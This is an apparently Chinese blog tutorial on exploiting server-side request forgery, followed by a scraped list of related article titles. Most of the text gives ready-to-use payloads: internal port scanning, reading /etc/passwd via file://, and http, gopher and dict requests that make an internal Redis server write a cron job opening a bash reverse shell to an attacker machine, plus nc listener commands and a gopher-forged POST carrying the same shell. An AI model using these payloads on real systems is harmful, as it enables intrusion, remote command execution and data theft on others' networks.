摘要:存在ssrf漏洞的站点主要利用四个协议,分别是http、file、gopher、dict协议。

file协议拿来进行本地文件的读取,http协议拿来进行内网的ip扫描、端口探测,如果探测到6379端口,那么可以利用http、gopher、dict这几个协议来打开放6379端口的redis服务(一般开放了这个端口的是redis服务),原理是利用他们以目标机的身份执行对开启redis服务的内网机执行redis命令,最后反弹shell到我们的公网ip机上。

一、进行内网探测

利用http协议对内网进行探测,探测整个内网的存活ip,和端口,如果要针对redis,那么这一步主要是找开启了6379端口的内网ip地址。

可利用bp或者脚本进行快速探测,由于回显的不同,脚本就需要按照回显的特征来写,那种回显是存在,哪种回显是不存在这样的ip或端口。

http://xxx.xxx.xx.xx/xx/xx.php?url=http://172.21.0.2:6379

二、file协议读取文件

这个协议可以读取系统的一些存放密码的文件,比如说linux的/etc/passwd或者windows的C:/windows/win.ini 等,或者说ctf中的flag文件。

http://xxx.xxx.xx.xx/xx/xx.php?url=file:///etc/passwd

三、攻击redis

只要知道内网有开启6379的redis服务(或许是其他端口开放的此服务),那么就可以利用目标机进行攻击redis了。

第一步探测Redis我们已经完成了,那么第二部就是发送redis命令,将弹shell脚本写入/etc/crontab中,crontab就是linux下的一个定时执行事件的一个程序。

还有两个定时服务文件是  /var/spool/cron/root  和  /var/spool/cron/crontabs/root 。针对这三个路径的不同,如下会进行讲解。

方法一:通过header CRLF 注入

Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入`%0a%0d`来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。

redis命令如下:

testset 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/公网ip/监听端口 0>&1\n\n\n\n"configset dir /etc/configsetdbfilename crontab

save

aaa

这里是采用的bash反弹,在ubuntu下不会反弹成功,CentOS可以反弹成功;路径采用的是/etc/crontab.

因为我们是通过GET来发送命令的,因此要将上面的命令进行URL编码:

test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.220.140%2F2333%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

payload1就为:

http://xxx.xxx.xx.xx/xx/xx.php?url=http://172.21.0.2:6379/

test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.220.140%2F2333%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

然后在自己的公网机192.168.220.140上nc监听2333端口

nc -lvp 2333 (或nc -l 2333)

然后发送请求即可反弹shell了

方法二:通过【curl命令】和【gopher协议】远程攻击内网redis

gopher协议是比http协议更早出现的协议,现在已经不常用了,但是在SSRF漏洞利用中gopher可以说是万金油,因为可以使用gopher发送各种格式的请求包,这样就可以解决漏洞点不在GET参数的问题了。

gopher协议可配合linux下的curl命令伪造POST请求包发给内网主机。

此种方法能攻击成功的前提条件是:redis是以root权限运行的。

payload2如下:

curl -v 'http://xxx.xxx.xx.xx/xx.php?url=

gopher://172.21.0.2:6379/

_*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.220.140%2f2333%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a'

redis命令进行了两次url编码,这里是通过gopher协议伪造的请求包用curl命令来发送;

payload采用的是bash反弹,定时程序路径是/var/spool/cron/root

发送请求之前在公网机192.168.220.140开启nc监听端口2333

nc -lvp 2333 (或nc -l 2333)

方法三:使用dict协议向Redis数据库写shell

关于dict协议:

> dict://serverip:port/命令:参数

> 向服务器的端口请求 命令:参数,并在末尾自动补上\r\n(CRLF),为漏洞利用增添了便利

如果服务端不支持gopher协议,可尝试dict协议,不过通过dict协议的话要一条一条的执行,而gopher协议执行一条命令就行了。

curl扩展也支持dict协议,可以配合curl命令发送请求,但也可以直接在浏览器上或者bp发包请求。

可通过以下三条命令看是否能利用dict:

/xx.php?url=dict://172.21.0.2:6379/info

/xx.php?url=dict://172.21.0.2:6379/get:user

/xx.php?url=dict://172.21.0.2:6379/flushall

这样就代表可以成功执行命令。

先清除没用的数据,防止定时任务执行失败

http://xxx.xxx.xx.xx/xx.php?url=dict%26ip=172.21.0.2%26port=6379%26data=flushall

或http://xxx.xxx.xx.xx/xx.php?url=dict://172.21.0.2:6379/flushall

利302跳转写入反弹命令

http://xxx.xxx.xx.xx/xx.php?url=dict%26ip=172.21.0.2%26port=6379%26bhost=*.*.*.*%26bport=1234

或http://xxx.xxx.xx.xx/xx.php?url=dict://172.21.0.2:6379/bhost=*.*.*.*%26bport=1234

设置导出路径

http://xxx.xxx.xx.xx/xx.php?url=dict%26ip=172.21.0.2%26port=6379%26data=config:set:dir:/var/spool/cron/

或http://xxx.xxx.xx.xx/xx.php?url=dict://172.21.0.2:6379/config:set:dir:/var/spool/cron/

设置导出名字

http://xxx.xxx.xx.xx/xx.php?url=dict%26ip=172.21.0.2%26port=6379%26data=config:set:dbfilename:root

或http://xxx.xxx.xx.xx/xx.php?url=dict://172.21.0.2:6379/config:set:dbfilename:root

导出

http://xxx.xxx.xx.xx/xx.php?url=dict%26ip=172.21.0.2%26port=6379%26data=save

或http://xxx.xxx.xx.xx/xx.php?url=dict://172.21.0.2:6379/save

使用burp发包,为了避免语句顺序执行错误,故第一个包先跑20个在跑第二个包以此类推,如果是批量内网ip存在6379端口,那么C段用通配符“*”表示。

在公网机上使用nc持续监听1234端口,等一会儿把包发完就会反弹shell。

Payload 完善修改

payload中出现ip、端口、反弹命令、定时程序路径这些都可以根据实际情况,目标机的系统版本进行更改。

如果目标机是CentOS系统:

bash和python反弹都支持

路径使用:/etc/crontab或者/var/spool/cron/root

如果是ubuntu系统:

支持python反弹

路径使用:/etc/crontab或者/var/spool/cron/crontabs/root

四、结合gopher协议实现进一步攻击

1.通过【curl命令】和【gopher协议】对有【SSRF漏洞】的网站远程伪造post请求反弹shell

在靶机上执行:bash -i >& /dev/tcp/192.168.220.140/2333 0>&1

攻击机上执行:nc -lvp 2333

post请求为:

_POST /test/ssrf/post.php HTTP/1.1Host:192.168.220.139User-Agent: curl/7.42.0Accept:*/*Content-Type: application/x-www-form-urlencoded

cmd=ccccc

bash -i >& /dev/tcp/192.168.220.140/2333 0>&1

将其进行url两次编码,然后结合gopher协议和curl命令,payload如下:

curl -v

'http://xxx.xxx.xx.xx/xx.php?

url=gopher://172.21.0.2:80/_POST%20/test/ssrf/post.php%20HTTP/1.1%250d%250aHost:%20192.168.220.139%250d%250aUser-Agent:%20curl/7.42.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd%3Dccccc%250d%250a%250d%250abash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.220.140%2f2333%200%3E%261'

攻击机先运行nc命令,然后curl发送请求。

2.gopher攻击MySQL

如果内网中的mysql数据库存在无密码的用户,可结合gopher协议进行攻击。

3.gopher攻击fastcgi

php-fpm一般监听在127.0.0.1的9000端口上,当存在未授权访问漏洞时,利用 Gopher+SSRF 可以完美攻击 FastCGI 执行任意命令。

前提:

PHP-FPM监听端口

PHP-FPM版本 >= 5.3.3libcurl版本>=7.45.0(curl版本小于7.45.0时,gopher的%00会被截断)

知道服务器上任意一个php文件的绝对路径,例如/usr/local/lib/php/PEAR.php

ssrf常用的攻击方式大概就这些了,当然有些师傅有自己独特的骚姿势。

ssrf dict MySQL_ssrf漏洞利用(内网探测、打redis)相关推荐

  1. ssrf dict MySQL_SSRF——漏洞利用(二)

    1|00x01 概述 上篇讲述了SSRF的一般用法,用http协议来进行内网探测,攻击内网redis,接下来讨论的是SSRF的拓展用法,通过,file,gopher,dict协议对SSRF漏洞进行利用 ...

  2. XML实体攻击:从内网探测到命令执行步步惊心

    2019独角兽企业重金招聘Python工程师标准>>> XML实体攻击:从内网探测到命令执行步步惊心 XML实体攻击是利用XML语言支持实体的特性对目标进行攻击.这种攻击技术在国外已 ...

  3. 【漏洞学习——SSRF】小米某处SSRF漏洞(可内网SHELL 附多线程Fuzz脚本)

    漏洞细节 #1 存在漏洞位置,Discuz 论坛SSRF漏洞 http://www.miui.com/forum.php?mod=ajax&action=downremoteimg&m ...

  4. (转)Ubuntu 17.04_64上搭建巡风扫描系统(资产信息漏洞扫描内网神器)

    巡风简介 巡风是一款适用于企业内网的漏洞快速应急.巡航扫描系统,通过搜索功能可清晰的了解内部网络资产分布情况,并且可指定漏洞插件对搜索结果进行快速漏洞检测并输出结果报表.其主体分为两部分:网络资产识别 ...

  5. 利用内网穿透实现无固定IP调试支付回调

    在家(使用NAT网)开发项目时,难免会涉及到第三方外部接口回调(如:支付回调.微信小程序登录),需要固定IP或域名解析,内网穿透是个不错的选择.常见的内网穿透工具有 向日葵.natapp.网云穿 等. ...

  6. 使用 Nextcloud 搭建私人云盘,并利用内网穿透实现公网远程访问

    文章目录 一.前言 二.环境搭建 三.测试局域网访问 四.执行内网穿透 4.1 ubuntu 本地安装 cpolar 4.2 创建隧道 4.3 测试公网访问 五.配置固定 http 公网地址 5.1 ...

  7. 利用内网穿透绑定授权登录的域名 本地调试(公众号)

    登录公众号后台 所需工具 1.https://open.tencent.com/ 2.域名一个,备案过 3.https://natapp.cn/ 1.登录微信公众平台 设置域名 点击头像 > 功 ...

  8. 利用内网穿透,实现公网访问内网

    由于IPV4地址资源的稀缺性,运营商分配给到用户的,基本都是内网IP.因此,公网电脑想要访问内网电脑时,常常会遇到没有公网IP,无法直接与内网电脑进行通信. 而在没有公网IP的情况下,想要访问内网,经 ...

  9. SSRF 漏洞危害大,应避免被利用攻击内网应用!| 原力计划

    作者 | Qwzf 责编 | 夕颜 头图 | CSDN付费下载自视觉中国 出品 | CSDN博客 前言 SSRF漏洞和CSRF漏洞有一些相似之处:CSRF跨站请求伪造,基于客户端的请求伪造:SSRF服 ...

最新文章

  1. 亚马逊科学家Nikko Ström:将人工智能助理日常化的梦想照进现实
  2. 搭建linux下eclipse php完美搭建开发php,搭建linux上的Eclipse+PHP编程环境
  3. winform 让他间隔一段时间 执行事件 且只执行一次_Redis 事件机制详解
  4. 想用Python学机器学习?Google大神替你写好了所有的编程示范代码
  5. 如何在不使用任何图像或跨度标签的情况下通过CSS在UL / LI html列表中设置子弹颜色[复制]
  6. 关于Rocchio算法和向量空间模型反馈
  7. 2021 网易创新企业大会来了
  8. SAP 电商云 Spartacus UI B2B checkout 点击 Continue 不能跳转到下一页面
  9. 网易被曝暴力裁患绝症员工,回应:存在不近人情的地方,向前同事道歉
  10. 一根柱状图表示两种数据_柱状图不好看,那就换个坐标轴
  11. PASCAL VOC2012数据集介绍
  12. dx逆向建模步骤_初级反求逆向建模(一)
  13. Latex中使用实心圆点列表
  14. Android Study 之真正解决TextView字间距,那些扯淡的边儿去吧
  15. mysql求回购率_SQL-- 用户行为(复购率、回购率等)
  16. 基于STM32-F401的平衡小车
  17. python中bool()函数的用法
  18. 【产品管理】产品管理四要素
  19. Linux常用命令介绍
  20. <Java>使用commons.io修改文件内容(中文标点符号改成英文)

热门文章

  1. 关于navbar自定义导航栏组件:
  2. wpa_supplicant.conf文件详解
  3. go-micro微服务常见问题
  4. 图解电动汽车:电动汽车的未来(新四化)
  5. 111高校毕业设计选题
  6. svg配合css3动画_与Sarah Drasner一起使用CSS,JS和SVG进行动画处理,并避免倦怠
  7. DAY1 贪心算法学习报告
  8. 超高频led发光线缆尾标_发光线缆标签_光缆电子标签_电缆rfid标签
  9. 简单的图像处理——2. 图像的形态学操作:开运算与闭运算
  10. 《通信原理》复习笔记1----第一章绪论